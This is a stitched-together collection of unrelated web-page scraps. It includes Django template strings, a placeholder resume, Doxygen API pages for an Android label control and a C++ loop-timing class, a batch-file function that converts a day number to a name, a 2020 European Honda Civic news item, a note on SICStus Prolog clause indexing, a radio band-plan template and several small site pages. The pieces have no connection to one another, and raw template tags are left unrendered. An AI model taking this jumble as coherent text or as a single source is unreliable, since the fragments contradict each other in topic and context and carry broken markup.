{% blocktrans trimmed %} Your browser is configured to block cookies from third-party website elements. Unfortunately, this means we cannot show you this ticket shop embedded into the website. Please try to open the ticket shop in a new tab or change your browser settings. {% endblocktrans %}
{% blocktrans trimmed %} We apologize for the inconvenience! {% endblocktrans %}
{% else %}


{% include head.html %}
This is the executive summary. You should write a few brief, concise, and meaningful sentences about yourself from a professional context, and your immediate career goals. Make the length appropriate for your needs, but K.I.S.S.
Started using Apache Spark for item-based recommendations
Sprinkle art, icing design, eclair management, taste testing, donut/coffee pairing research
Hops inspection, brew testing, distribution management, bottle label design, festival and event management
Bread winning, conflict resolution, couch inspection, TV longevity testing


What this does: This easily opens Clever for you.
Protip: If Clever asks you about the district, enter 'HSP' and click the first one you see.
This is for those of you who don't want to wait for 19 seconds:
If you want to wait and you're bored, scroll down.


|
ActionComponents
04.05.00
Customizable UI and time-saving tools for Android development with Xamarin and Visual Studio.
|
The ActionComponents.ACLabel has helper methods and events such as Touched
and Released
that turn it into an interactive element.
More...
Public Member Functions | |
| ACLabel (Context context) | |
| Initializes a new instance of the ActionComponents.ACLabel class. More... | |
| ACLabel (Context context, IAttributeSet attr) | |
| Initializes a new instance of the ActionComponents.ACLabel class. More... | |
| ACLabel (IntPtr javaReference, JniHandleOwnership transfer) | |
| Initializes a new instance of the ActionComponents.ACLabel class. More... | |
| ACLabel (Context context, IAttributeSet attr, int defStyle) | |
| Initializes a new instance of the ActionComponents.ACLabel class. More... | |
| void | MoveToPoint (int x, int y) |
| Moves this ActionComponents.ACLabel to the given point More... | |
| void | MoveToPoint (Point point) |
| Moves this ActionComponents.ACLabel to the given point More... | |
| void | Resize (int width, int height) |
| Resize this ActionComponents.ACLabel to the specified width and height. More... | |
| bool | PointInside (int x, int y) |
| Test to see if the given x and y coordinates are inside this ActionComponents.ACLabel More... | |
| bool | PointInside (Point pt) |
| Test to see if the given point is inside this ActionComponents.ACLabel More... | |
| override bool | OnTouchEvent (MotionEvent e) |
| Raises the touch event event. More... | |
| delegate void | ACLabelTouchedDelegate (ACLabel view) |
| Occurs when this ActionComponents.ACLabel is touched More... | |
| delegate void | ACLabelMovedDelegate (ACLabel view) |
| Occurs when this ActionComponents.ACLabel is moved More... | |
| delegate void | ACLabelReleasedDelegate (ACLabel view) |
| Occurs when this ActionComponents.ACLabel is released More... | |
Properties | |
| bool | bringToFrontOnTouched [get, set] |
| Gets or sets a value indicating whether this ActionComponents.ACLabel is automatically brought to the front when touched. More... | |
| int | LeftMargin [get, set] |
| Gets or sets the left margin. More... | |
| int | TopMargin [get, set] |
| Gets or sets the top margin. More... | |
| int | RightMargin [get, set] |
| Gets or sets the right margin. More... | |
| int | BottomMargin [get, set] |
| Gets or sets the bottom margin. More... | |
| int | LayoutWidth [get, set] |
| Gets or sets the width of the layout. More... | |
| int | LayoutHeight [get, set] |
| Gets or sets the height of the layout. More... | |
Events | |
| ACLabelTouchedDelegate | Touched |
| ACLabelMovedDelegate | Moved |
| ACLabelReleasedDelegate | Released |
The ActionComponents.ACLabel has helper methods and events such as Touched
and Released
that turn it into an interactive element.
Available in ActionPack Business or Enterprise only.
| ActionComponents.ACLabel.ACLabel | ( | Context | context | ) |
Initializes a new instance of the ActionComponents.ACLabel class.
| context | Context. |
| ActionComponents.ACLabel.ACLabel | ( | Context | context, |
| IAttributeSet | attr | ||
| ) |
Initializes a new instance of the ActionComponents.ACLabel class.
| context | Context. |
| attr | Attr. |
| ActionComponents.ACLabel.ACLabel | ( | IntPtr | javaReference, |
| JniHandleOwnership | transfer | ||
| ) |
Initializes a new instance of the ActionComponents.ACLabel class.
| javaReference | Java reference. |
| transfer | Transfer. |
| ActionComponents.ACLabel.ACLabel | ( | Context | context, |
| IAttributeSet | attr, | ||
| int | defStyle | ||
| ) |
Initializes a new instance of the ActionComponents.ACLabel class.
| context | Context. |
| attr | Attr. |
| defStyle | Def style. |
| delegate void ActionComponents.ACLabel.ACLabelMovedDelegate | ( | ACLabel | view | ) |
Occurs when this ActionComponents.ACLabel is moved
| delegate void ActionComponents.ACLabel.ACLabelReleasedDelegate | ( | ACLabel | view | ) |
Occurs when this ActionComponents.ACLabel is released
| delegate void ActionComponents.ACLabel.ACLabelTouchedDelegate | ( | ACLabel | view | ) |
| void ActionComponents.ACLabel.MoveToPoint | ( | int | x, |
| int | y | ||
| ) |
Moves this ActionComponents.ACLabel to the given point
| x | The x coordinate. |
| y | The y coordinate. |
| void ActionComponents.ACLabel.MoveToPoint | ( | Point | point | ) |
Moves this ActionComponents.ACLabel to the given point
| pt | Point. |
| override bool ActionComponents.ACLabel.OnTouchEvent | ( | MotionEvent | e | ) |
Raises the touch event event.
| e | E. |
| bool ActionComponents.ACLabel.PointInside | ( | int | x, |
| int | y | ||
| ) |
Test to see if the given x and y coordinates are inside this ActionComponents.ACLabel
true
, if inside was pointed, false
otherwise.| x | The x coordinate. |
| y | The y coordinate. |
| bool ActionComponents.ACLabel.PointInside | ( | Point | pt | ) |
Test to see if the given point is inside this ActionComponents.ACLabel
true
, if inside was pointed, false
otherwise.| pt | Point. |
| void ActionComponents.ACLabel.Resize | ( | int | width, |
| int | height | ||
| ) |
Resize this ActionComponents.ACLabel to the specified width and height.
| width | Width. |
| height | Height. |
|
getset |
Gets or sets the bottom margin.
The bottom margin.
|
getset |
Gets or sets a value indicating whether this ActionComponents.ACLabel is automatically brought to the front when touched.
true
if bring to front on touched; otherwise, false
.
|
getset |
Gets or sets the height of the layout.
The height of the layout.
|
getset |
Gets or sets the width of the layout.
The width of the layout.
|
getset |
Gets or sets the left margin.
The left margin.
|
getset |
Gets or sets the right margin.
The right margin.
|
getset |
Gets or sets the top margin.
The top margin.
| ACLabelMovedDelegate ActionComponents.ACLabel.Moved |
| ACLabelReleasedDelegate ActionComponents.ACLabel.Released |
| ACLabelTouchedDelegate ActionComponents.ACLabel.Touched |


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React Simple Chatbot
A simple chatbot component to create conversation chats
Getting Start
npm install react-simple-chatbot --save
Usage
There are several examples on the website. Here is the first one to get you started:
Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this.
The final element.


{% load static %} {% load active %} {% load crispy_forms_tags %}
Login in. To see it in action.
Do not have an account?
Resume Parser © 2020


DayName
The DayName function returns the name
of the day of week from the day of week number.
|
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:DayName %d% day
::
:: By: Ritchie Lawrence, 2002-10-04. Version 1.0
::
:: Func: Returns the day of week from the day number, 1=Monday, 7=Sunday.
:: For NT4/2000/XP/2003.
::
:: Args: %1 day number to convert to name of day of week, 1 to 7 (by
val)
:: %2 var to receive name of day
of week (by ref)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
setlocal ENABLEEXTENSIONS
for /f "tokens=%1" %%a in ('echo/Monday Tuesday Wednesday
Thursday Friday^ Saturday Sunday') do endlocal&set
%2=%%a&goto :EOF
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: |
|
Parameters
%1 day number to convert to name of day of week, 1 to 7 (by
val)
%2 var to receive name of day of week (by ref)
Return Values
The return value is the full name of the day of week, with the first
letter capitalised. It can be shortened to the first three letters using
substring expansion, for example:-
set day=%day:~0,3%
Example
@echo off & setlocal ENABLEEXTENSIONS
call :DayName 3 day
echo/Third day of the week is: %day%
goto :EOF
Remarks
Day 1 is Monday, day 7 is Sunday.
See Also
DayNumber, DateToWeek,
WeekToDate
|


European Honda Civic Updated for 2020
by Mircea PanaitEven though it rolled out in November 2015 in North America, the tenth-generation Civic still feels as fresh as four years ago. The compact hatchback, sedan, and coupe has been updated time and again over the course of its existence, and for 2020, a few other newities are in the pipeline.
The European model, for example, benefits from a restyled front fascia with an additional lower grille section next to the fog lamps. The main grille has been simplified for a cleaner look, and full-LED headlights are now available as an optional extra. The DRLs and grille inserts have been redesigned as well, and Obsidian Blue has been added to the color palette.
16-inch alloy wheels open the list for the entry-level Civic in the Old Continent, and higher specifications level up to 17-inch rollers. 20s are exclusive to the high-performance Type R, and Honda didn’t forget about the interior either. The textured motif over the glovebox and electrically adjustable eight-way driver’s seat are two of the highlights, joined by a few improvements to the infotainment system such as buttons and dials for the most essential functions.
Versions below the Type R are available with three engine choices, starting with a 1.0-liter turbo three-cylinder rated at 126 PS (124 horsepower) and 200 Nm (148 pound-feet) of torque. The VTEC Turbo with 1.5 liters of displacement is good for 182 PS (180 horsepower) and 240 Nm (177 pound-feet) while the 1.6-liter turbo diesel i-DTEC engine cranks out 120 PS (118 horsepower) and 300 Nm (221 pound-feet). Customers can choose between three transmissions, namely a six-speed manual, nine-speed auto, and a CVT.
Honda Sensing comes standard for the 2020 model year, explaining the £400 difference in starting price over the outgoing Civic in the United Kingdom. The safety suite includes Traffic Sign Recognition, Lane Departure Warning, Lane Keeping Assist System, Adaptive Cruise Control, and Collision Mitigation Braking System.
Manufactured in the UK for Europe, the newcomer will be available to order at £18,845 from December 2019 and UK deliveries are scheduled to commence in January 2020. 🏁


In SICStus Prolog, predicates are indexed on their first
arguments. This means that when a predicate is called with
an instantiated first argument, a hash table is used to gain
fast access to only those clauses having a first argument
with the same primary functor as the one in the predicate
call. If the first argument is atomic, only clauses
with a matching first argument are accessed. Indexes are
maintained automatically by the built-in predicates manipulating
the Prolog database (for example, assert/1
,
retract/1
, and compile/1
.
Keeping this feature in mind when writing programs can help speed their execution. Some hints for program structuring that will best use the indexing facility are given below. Note that dynamic predicates as well as static predicates are indexed. The programming hints given in this section apply equally to static and dynamic code.


Class to have threads / loops running at a desired frequency.
More...
#include <spinner.hpp>
|
| void | set_period (double period) |
| | set_period sets the period of the loop in !!seconds!! More...
|
| |
| void | set_frequency (double frequency) |
| | Set the frequency of the loop [Hz]. More...
|
| |
|
void | initialize () |
| | To be called at the beginning of the loop if the spinner is not created just before.
|
| |
|
void | spin () |
| | spin waits for the time such that successive calls to spin will result in spin being called at the desired frequency
|
| |
|
double | predict_sleeping_time () |
| | Predict the time the current thread is going to sleep.
|
| |
|
|
double | period_sec_ |
| | period_sec_ is the period of the loop in seconds
|
| |
|
double | next_date_sec_ |
| | next_date_sec_ is the date when the loop needs to wake up.
|
| |
Class to have threads / loops running at a desired frequency.
- Examples:
- demo_spinner.cpp, and demo_timing.cpp.
◆ set_frequency()
| void real_time_tools::Spinner::set_frequency |
( |
double |
frequency | ) |
|
|
inline |
◆ set_period()
| void real_time_tools::Spinner::set_period |
( |
double |
period | ) |
|
|
inline |
set_period sets the period of the loop in !!seconds!!
- Parameters
-
The documentation for this class was generated from the following files:


This is my personal band plan for UHF two way radio, used primarily for outdoor recreational activities - 4x4 exploration, camping, fishing, etc. This plan allows for compatibility with bubble-pack FRS radios and unlicensed users for short range communications, as well as full power operation on GMRS channels for use with family and other licensed GMRS stations.
| Ch | Name | Frequency | Tone | W/N | Power | Notes |
|---|---|---|---|---|---|---|
| {{ row.channel }} | {{ row.name }} | {{ row.frequency }} | {{ row.tone }} | {{ row.bandwidth }} | {{ row.power }} | {{ row.notes }} |


Free Courses / Educational Material:
Coursera: Python for Everybody
(Python)
Coursera: Web Applications for Everybody
(PHP/SQL)
Coursera: Internet History, Technnology and Security
See also www.py4e.com
,
www.wa4e.com
and
www.dj4e.com
Books
Python For Everybody: Exploring Data in Python 3
(2016)
Python For Informatics: Exploring Information
(2010, 2014)
Sakai: Building an Open Source Community
(2011, 2014)
Raspberry Pi (21st Century Skills Innovation Library)
(2013)
Using Google App Engine
(O'Reilly 2009)
High Performance Computing
(O'Reilly 1998
, Connexions 2010
)
Software
The Sakai Collaboration
and Learning Environment
Tsugi: A framework for IMS LTI Tools
IMS Learning Tools
Interoperability
My Reference Implementation of Mozilla Open Badges in PHP
Web/Multimedia sites
IEEE Computer - Computing Conversations Interviews
(2011-present)
Dr. Chuck sings the blues
(2008)
Dr. Chuck goes motocross racing
(2007)
A Film About Brent and His ATV
(2005)
Audition Tape
(2003) for TechTV which was
rejected :(.
Dr. Chuck goes stock car racing
(2002)
The Community Information Toolkit
- A project to provide public libraries and
other organizations a start on using Internet in Commmunity Networking. (1999)


Appearance
The professor has black eyes and gray hair, which in his youth was brown (perhaps this was passed on to his grandson Gary). He wears a red shirt and brown trousers. On his feet are black boots.  Only on vacation wears other clothes.


Sorry, but you need to be logged-in to be able to contribute
Name
Access
Max Number
How to use this:
Items that are missing data are displayed on the right. You can select one, or use the search if you want to correct another item.
Once you've found the item you want to modify, click on the to add this item to the list on the left. You can add multiple items to this list (max 10).
You can modify the Access and Max Number of the items on the left pane. For Max Number, leave it empty if there is no limitation to how many times this item could be acquired.
When you have entered all the data to the items, click on "Send it to FFBE Equip" to send it to FFBE Equip.
A dialog should appears with the result of your submission.
Please note that the data won't be corrected immediately.
I regularly merge the sent data to the main data of FFBE Equip.


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